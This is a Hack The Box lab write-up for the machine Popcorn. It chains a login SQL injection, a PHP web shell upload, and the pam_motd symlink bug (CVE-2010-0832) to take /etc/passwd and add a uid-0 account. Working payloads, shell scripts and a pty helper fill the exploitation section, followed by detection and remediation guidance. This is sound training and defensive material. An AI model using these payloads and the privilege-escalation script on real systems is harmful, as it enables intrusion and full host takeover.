HTB: Popcorn
A torrent site with an injectable login and an upload that keeps the client's file extension gives a web shell, and a PAM login hook that runs chown through a symlink as root turns it into ownership of /etc/passwd.
- Published
- Reading time
- 19 min
- Difficulty
- medium
- Target
- Linux (Popcorn)
Overview
Popcorn is a medium Linux machine from March 2017 that runs Ubuntu 9.10, a release that was already seven years old when the box came out. Two ports are open. The web server hosts a small PHP application for sharing torrent files, and every step to a shell is a flaw in that application or in its deployment.
The chain has three links. The login form is open to SQL injection, which gives a session without a password. The screenshot upload stores a file under the web root with the extension the client chose, so a PHP file runs.
From the resulting www-data shell, a login hook in PAM changes the owner of
a path in the user’s home directory while running as root. Pointing that path
at /etc/passwd hands the file over.
No kernel exploit is needed, although the kernel is old enough to offer several. I prefer the userland bug: a failed kernel exploit can take the host down.
Reconnaissance
The first scan covers the top 1,000 TCP ports with default scripts and version detection. A full sweep runs behind it and finds the same two ports.
nmap -sC -sV -oN scans/top1000.nmap 10.129.101.46
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 5.1p1 Debian 6ubuntu2 (Ubuntu Linux; protocol 2.0)
[...]
80/tcp open http Apache httpd 2.2.12
|_http-server-header: Apache/2.2.12 (Ubuntu)
|_http-title: Did not follow redirect to http://popcorn.htb/
| Port | Service | Version | Notes |
|---|---|---|---|
| 22 | SSH | OpenSSH 5.1p1 | Ubuntu 9.10 package |
| 80 | HTTP | Apache 2.2.12 | Redirects to the name popcorn.htb |
The versions date the host to late 2009. An operating system that old has years of unpatched local bugs, so the hard part of this box is getting any shell at all.
Web Enumeration
The server redirects requests by address to popcorn.htb. I send the name in
the Host header instead of editing the hosts file. The home page is the
Apache default, so I brute-force paths:
ffuf -s -u http://10.129.101.46/FUZZ -H 'Host: popcorn.htb' \
-w /usr/share/seclists/Discovery/Web-Content/common.txt \
-t 40 -mc 200,301,302,401 -of csv -o scans/ffuf-root.csv
200 177 index
200 177 index.html
200 47408 test
301 312 torrent
/test is a phpinfo() page, which answers questions I would otherwise have
to guess at:
curl -s -H 'Host: popcorn.htb' http://10.129.101.46/test -o test.html
| Setting | Value |
|---|---|
| PHP version | 5.2.10-2ubuntu6.10 |
file_uploads |
On |
disable_functions |
empty |
open_basedir |
empty |
DOCUMENT_ROOT |
/var/www |
| System | Linux 2.6.31-14-generic-pae, i686 |
Uploads are enabled and no PHP function is blocked. If I can place a PHP file
under the web root, system() will run.
/torrent is an application called Torrent Hoster. It has a login, a
registration form protected by an image captcha, and an upload page that
requires a session.
I did not run a wordlist against /torrent/, which is what I would do on a
box I had not seen: the same ffuf command with /torrent/FUZZ. I had owned
this machine before and probed a short list of names from memory and from the
page’s links. All eight, misses included:
for d in upload upload/ torrents/ database/ admin/ readme/ lib/ users/; do
printf '%s -> ' $d
curl -s -H 'Host: popcorn.htb' -o /dev/null -w '%{http_code} %{size_download}\n' \
http://10.129.101.46/torrent/$d
done
upload -> 301 319
upload/ -> 200 1153
torrents/ -> 200 0
database/ -> 200 918
admin/ -> 200 81
readme/ -> 200 1089
lib/ -> 200 1849
users/ -> 200 81
Four of them return an index page. Fetching each and extracting the links gives this (a summary; the output was not saved, and the hash is shortened):
| Directory | Files |
|---|---|
upload/ |
723bc28f...6ca6b4.png, noss.png |
database/ |
th_database.sql |
readme/ |
license.txt, readme.html |
lib/ |
BDecode.php, BEncode.php, dblib.php, stdlib.php, two more |
Two of those matter. /torrent/upload/ shows where screenshots are stored and
that they are named after a 40-character hash. /torrent/database/ holds the
SQL file used to install the application, which I download:
curl -s -H 'Host: popcorn.htb' -o th_database.sql \
http://10.129.101.46/torrent/database/th_database.sql
Attack Surface Analysis
Information exposure: phpinfo and directory listings (CWE-497, CWE-548)
The phpinfo() page discloses the PHP configuration, the document root and
the kernel version. The listings disclose the upload path, the library files
and the database installer. None of these is an exploit, but together they
remove the guesswork from the next two steps.
Installer dump left in the web root (CWE-538, CWE-916)
th_database.sql contains the default administrator row:
INSERT INTO `users` VALUES (3, 'Admin', '1844156d...1ca5fa', 'admin', ...);
The value is an unsalted MD5 hash of admin12, which I confirm locally with
printf admin12 | md5sum. That password does not work on the live site. The
dump is still useful: it gives the schema and shows that passwords are stored
as unsalted MD5.
SQL injection in the login form (CWE-89)
A quote in the username field changes the meaning of the login query.
Unrestricted file upload (CWE-434)
The screenshot upload accepts a file whose name ends in .php and stores it
under the web root with the .php extension intact.
Privileged chown that follows a symlink (CWE-59)
This is only reachable after a shell. The pam_motd module shipped with
Ubuntu 9.10 changes ownership of a path in the home directory of the user who
is logging in, while it still runs as root. This is CVE-2010-0832.
Vulnerability Analysis
I did not read the application’s source on the target, so the first two points are from behaviour, and I mark what is inferred.
Login. A wrong password returns the login page with “Invalid login”. A
username of admin' or '1'='1' -- - with any password returns a 302 to the
application’s home and a session cookie. The username is therefore placed
inside a quoted string in a WHERE clause without escaping or a prepared
statement. That the password is compared inside the same query is an
inference: the comment marker removes whatever followed the username, and the
login then succeeds.
Upload. I observed two things: a file named s.php was accepted, and it
was stored as <hash>.php. The second is the decisive fault. A server that
keeps the client’s extension lets the client choose how the web server will
treat the file.
The server’s reply echoes Type: image/png, the value I put in the multipart
header. I infer that the application tests that header, but I sent no upload
with a different type to prove it. Even a real content check would not save
this design, because a valid image header followed by PHP passes such a check
and still executes under a .php name.
pam_motd. This part is from the published details of the bug, not from
reading the module on the target. Ubuntu’s patched pam_motd shows a legal
notice once and records that in ~/.cache/motd.legal-displayed. At login it
creates ~/.cache if needed and calls chown on that path to give it to the
user, all as root.
chown follows symlinks. If ~/.cache is a link to another file, that file
becomes the user’s. The marker file is incidental. Ubuntu’s notice USN-959-1
fixes this in libpam-modules 1.1.0-2ubuntu1.1 for 9.10 by doing the work
with the user’s privileges; the target runs 1.1.0-2ubuntu1.
Exploitation
Phase 1: a session through SQL injection
I test three logins so the result has a baseline: the password from the dump, the injection and a deliberately wrong password. The injection request:
curl -s -H 'Host: popcorn.htb' -c cj-sqli -o login-sqli.html \
-w '%{http_code} %{redirect_url}\n' \
--data-urlencode "username=admin' or '1'='1' -- -" \
--data-urlencode "password=x" \
http://10.129.101.46/torrent/login.php
The three results side by side (the other two requests differ only in the form values):
| Login | Status | Result |
|---|---|---|
Admin / admin12 |
200 | Invalid login, please try again |
injection / x |
302 | Redirect to /torrent |
Admin / wrongpw |
200 | Invalid login, please try again |
The injected request is the only one that redirects, and the cookie jar now holds a working session. Because the condition is true for every row, I do not know which account the session belongs to, and I did not need to. This also sidesteps the captcha on registration.
Phase 2: PHP execution through the screenshot upload
With the session, the torrent directory lists one torrent, and its edit page carries a second form that posts a screenshot:
curl -s -H 'Host: popcorn.htb' -b cj-sqli -o browse.html \
"http://10.129.101.46/torrent/index.php?mode=directory"
curl -s -H 'Host: popcorn.htb' -b cj-sqli -o edit.html \
"http://10.129.101.46/torrent/edit.php?mode=edit&id=723bc28f...6ca6b4"
<form method="post" action="upload_file.php?mode=upload&id=723bc28f...6ca6b4"
enctype="multipart/form-data">
<input type="file" name="file" id="file" />
The payload is one line:
<?php system($_REQUEST["c"]); ?>
I send it with a PHP filename and an image content type:
curl -s -H 'Host: popcorn.htb' -b cj-sqli \
-F "file=@s.php;type=image/png;filename=s.php" \
-F "submit=Submit Screenshot" \
"http://10.129.101.46/torrent/upload_file.php?mode=upload&id=723bc28f...6ca6b4"
Upload: s.php Type: image/png Size: 0.0322265625 Kb Upload Completed.
A fresh fetch of the /torrent/upload/ listing shows 723bc28f...6ca6b4.php
beside the original .png. One request confirms execution and collects the facts for the
next phase:
curl -s -H 'Host: popcorn.htb' --data-urlencode \
'c=id; uname -a; cat /etc/lsb-release; ls -la /home /home/*; grep -vE "nologin|false" /etc/passwd; ls -ld /var/www; dpkg -l libpam-modules sudo | tail -2' \
"http://10.129.101.46/torrent/upload/723bc28f...6ca6b4.php"
uid=33(www-data) gid=33(www-data) groups=33(www-data)
Linux popcorn 2.6.31-14-generic-pae #48-Ubuntu SMP Fri Oct 16 15:22:42 UTC 2009 i686 GNU/Linux
[...]
DISTRIB_DESCRIPTION="Ubuntu 9.10"
[...]
/home/george:
-rw-r--r-- 1 george george 848727 Mar 17 2017 torrenthoster.zip
-rw-r--r-- 1 george george 33 Nov 23 16:20 user.txt
[...]
www-data:x:33:33:www-data:/var/www:/bin/sh
[...]
drwxr-xr-x 4 www-data www-data 4096 Apr 11 2017 /var/www
ii libpam-modules 1.1.0-2ubuntu1 Pluggable Authentication Modules for PAM
ii sudo 1.7.0-1ubuntu2 Provide limited super user privileges
user.txt is world-readable, so a second request through the shell reads the
user flag.
Three details decide the route to root. www-data owns its home directory
/var/www, so it can install a key; SSH is open and nothing in this output
suggests it refuses the account; and the PAM package is one release behind
the fix for CVE-2010-0832. The account’s real shell only makes the proof
convenient, because id comes back.
Phase 3: root through pam_motd
The bug fires when a user logs in, so I need www-data to log in. SSH is the
simplest trigger, and it does not have to come from outside: the account can
log in to localhost with a key pair made on the target.
I did not want to work interactively through an uploaded file, so each stage is one script, sent base64-encoded and run in a single request:
B=$(base64 -w0 stage1.sh)
curl -s -H 'Host: popcorn.htb' --data-urlencode \
"c=echo $B | base64 -d > /dev/shm/a.sh; sh /dev/shm/a.sh 2>&1" \
"http://10.129.101.46/torrent/upload/723bc28f...6ca6b4.php"
stage1.sh:
cd /var/www
echo "== before"; id; ls -l /etc/passwd; ls -la /var/www/.cache 2>&1 | head -2
grep -n pam_motd /etc/pam.d/sshd /etc/pam.d/login
[ -f /dev/shm/k ] || ssh-keygen -q -t rsa -N '' -f /dev/shm/k
mkdir -p .ssh && chmod 700 .ssh && cat /dev/shm/k.pub > .ssh/authorized_keys && chmod 600 .ssh/authorized_keys
cp /etc/passwd /dev/shm/passwd.bak
rm -rf .cache; ln -s /etc/passwd .cache
echo "== login"
ssh -o StrictHostKeyChecking=no -o UserKnownHostsFile=/dev/null -o BatchMode=yes \
-i /dev/shm/k www-data@localhost 'id' 2>&1 | tail -3
rm -f .cache
echo "== after"; ls -l /etc/passwd
== before
uid=33(www-data) gid=33(www-data) groups=33(www-data)
-rw-r--r-- 1 root root 1031 Mar 17 2017 /etc/passwd
ls: cannot access /var/www/.cache: No such file or directory
/etc/pam.d/sshd:27:session optional pam_motd.so # [1]
/etc/pam.d/login:76:session optional pam_motd.so
== login
Warning: Permanently added 'localhost' (RSA) to the list of known hosts.
uid=33(www-data) gid=33(www-data) groups=33(www-data)
== after
-rw-r--r-- 1 www-data www-data 1031 Mar 17 2017 /etc/passwd
One login moved /etc/passwd from root:root to www-data:www-data. The
backup is taken before the symlink is made, because the next step edits a
file that every login on the system depends on.
An account’s password hash may live in the second field of /etc/passwd
instead of /etc/shadow, and an account with uid 0 is root whatever it is
called. su reads the password from a terminal, and a web shell has none, so
Python on the target supplies one. stage2.sh, delivered the same way, with
the password replaced:
# hash made locally: openssl passwd -1 -salt popc '<password>'
echo 'r00t:$1$popc$<hash>:0:0:root:/root:/bin/bash' >> /etc/passwd
tail -1 /etc/passwd | cut -d: -f1,3,4,7
cat > /dev/shm/root.sh <<'R'
echo "== as root"; id
cat /root/root.txt > /dev/shm/r.txt; chown www-data /dev/shm/r.txt; chmod 600 /dev/shm/r.txt
ls -la /root | head -20
dpkg -l libpam-modules | tail -1
grep -n -B2 -A2 pam_motd /etc/pam.d/sshd
cp /dev/shm/passwd.bak /etc/passwd; chown root:root /etc/passwd; chmod 644 /etc/passwd
echo "== restored"; ls -l /etc/passwd; grep -c r00t /etc/passwd
R
cat > /dev/shm/p.py <<'P'
import pty, os, time, sys
pid, fd = pty.fork()
if pid == 0:
os.execv('/bin/su', ['su', 'r00t', '-c', 'sh /dev/shm/root.sh'])
time.sleep(2)
os.write(fd, '<password>\n')
out = ''
while True:
try:
d = os.read(fd, 4096)
except OSError:
break
if not d:
break
out += d
sys.stdout.write(out)
P
python /dev/shm/p.py 2>&1
The try around the read matters: when su exits, reading the
master side of the pseudo-terminal raises an error instead of returning end of file.
r00t:0:0:/bin/bash
Password:
== as root
uid=0(root) gid=0(root) groups=0(root)
[...]
ii libpam-modules 1.1.0-2ubuntu1 Pluggable Authentication Modules for PAM
[...]
== restored
-rw-r--r-- 1 root root 1031 2026-11-23 16:25 /etc/passwd
0
The final 0 is the count of lines matching r00t after the restore. Root
came four and a half minutes after the machine started; the user flag was
read twenty seconds earlier.
Post-Exploitation
The script restores /etc/passwd from the backup and resets its owner and
mode before it exits, so the added account exists for a few seconds. The
restore is not invisible: the file has a new modification time.
I remove the uploaded shell with one last request and stop the machine. The
scratch files in /dev/shm (key pair, scripts, the backup, the flag copy) and the
authorized_keys file for www-data were still there when the instance was
destroyed. On a real engagement those are removed and listed in the report.
In all, six requests went through the web shell: enumeration, the user flag,
the two stages, a read of the root flag from the copy the script left in
/dev/shm, and the removal. A reverse shell after the first one would have
been tidier.
Three routes were available and not taken. I did not register an account,
because the injection made the captcha irrelevant. I did not use a kernel exploit. I also did
not read torrenthoster.zip in the user’s home directory, which is very
probably the application’s source and would have turned both of my inferences
about the login and the upload into observations.
One caveat about method. I knew of the pam_motd bug before this run; what
pointed to it here was the package version next to an Ubuntu 9.10 banner.
Without that knowledge, the way to find it is to check the installed version
of each package on the login path (libpam-modules, sudo,
openssh-server) against the distribution’s security notices.
Defensive Analysis
| Phase | Technique (ATT&CK) | Where it shows | What to look for |
|---|---|---|---|
| Enumeration | T1595.003 wordlist scanning | Apache access log | Thousands of 404s from one address in a minute; requests for /test and /torrent/database/ |
| Login bypass | T1190 exploit public-facing application | Access log shows only POST /torrent/login.php; the payload is in the body |
Database query log or a web application firewall: a quote and a comment marker in a username |
| Upload | T1505.003 web shell | Access log, file system | A POST to upload_file.php followed by a request for a .php file under /torrent/upload/; any non-image file there |
| Execution | T1059.004 Unix shell | Process accounting, auditd execve |
sh -c with Apache as the parent process |
| Key added | T1098.004 SSH authorized keys | File integrity monitoring | An authorized_keys file appearing under /var/www |
| Privilege escalation | T1068 exploitation for privilege escalation | /var/log/auth.log, file integrity monitoring |
An SSH login for www-data from 127.0.0.1; a change of owner on /etc/passwd |
| Account creation | T1136.001 local account | File integrity monitoring | A second uid 0 line in /etc/passwd |
The SSH login as www-data is the clearest signal, because a service account
has no reason to log in. It does not arrive in time to prevent anything: the
ownership change happens during that same login. Its value is that the alert
fires seconds before root, with the cause attached.
A defender can find the precondition without any attack. The shell is
deliberately ignored, since it does not stop the hook. The first command lists
system accounts that own their home directory; the second lists every
authorized_keys file, to compare against the named administrators:
awk -F: '$3 < 1000 {print $1, $6}' /etc/passwd |
while read u h; do [ "$(stat -c %U "$h" 2>/dev/null)" = "$u" ] && echo "$u owns $h"; done
find / -xdev -name authorized_keys 2>/dev/null
I did not run these on the target.
Remediation
-
Replace the operating system. Ubuntu 9.10 stopped receiving fixes in April 2011. USN-959-1 fixes this bug in
libpam-modules1.1.0-2ubuntu1.1, but one patched package on an unsupported release leaves the rest. Until the package is fixed, any account that can log in, includinggeorgeat the console, can use the bug. -
Restrict who may log in over SSH.
AllowUserswith the named administrators insshd_configrefuseswww-databefore a PAM session is opened. Changing the account’s shell tonologinis good hygiene but does not close this route, because the session hooks run before the shell does. -
Take the web root away from the web user.
chown -R root:root /var/www, with write access forwww-dataonly on the upload directory. The account could install its own key because it owned its home. -
Fix the upload. Generate the stored name and extension on the server from an allow-list (
png,jpg,gif); never keep the client’s. Check the content as a second layer, not as the fix. Store uploads outside the web root, or switch PHP off for that directory (this form is formod_php, which this host uses):<Directory /var/www/torrent/upload> php_admin_flag engine off Options -Indexes </Directory> -
Fix the login query. Use prepared statements with bound parameters for every value that reaches SQL, and verify passwords in application code against a salted hash (
password_hashandpassword_verify). -
Remove what is not needed. Delete
/test, delete thedatabase/andreadme/directories after installation, and setOptions -Indexesfor the whole site.
Key Takeaways
- Read what the server gives away before attacking anything. A
phpinfo()page and four directory listings supplied the upload path, the schema and the PHP limits. Every later step was chosen from those facts. - Test with a baseline. Three logins side by side show that the 302 comes from the injection and not from a quirk of the form. I should have added a false condition as a fourth.
- The stored extension is the upload’s real fault. The server kept the name I gave it. Whatever it checked before that did not matter.
- On an old host, look at userland before the kernel. The PAM bug needed one symlink and one login.
- Know where in a login a control acts. A
nologinshell looks like a fix for a login bug and is not, because PAM session hooks run first. - Back up before changing a system file, and script the privileged part.
The copy of
/etc/passwdwas made before the symlink, and the restore was the last line of the same script that used root.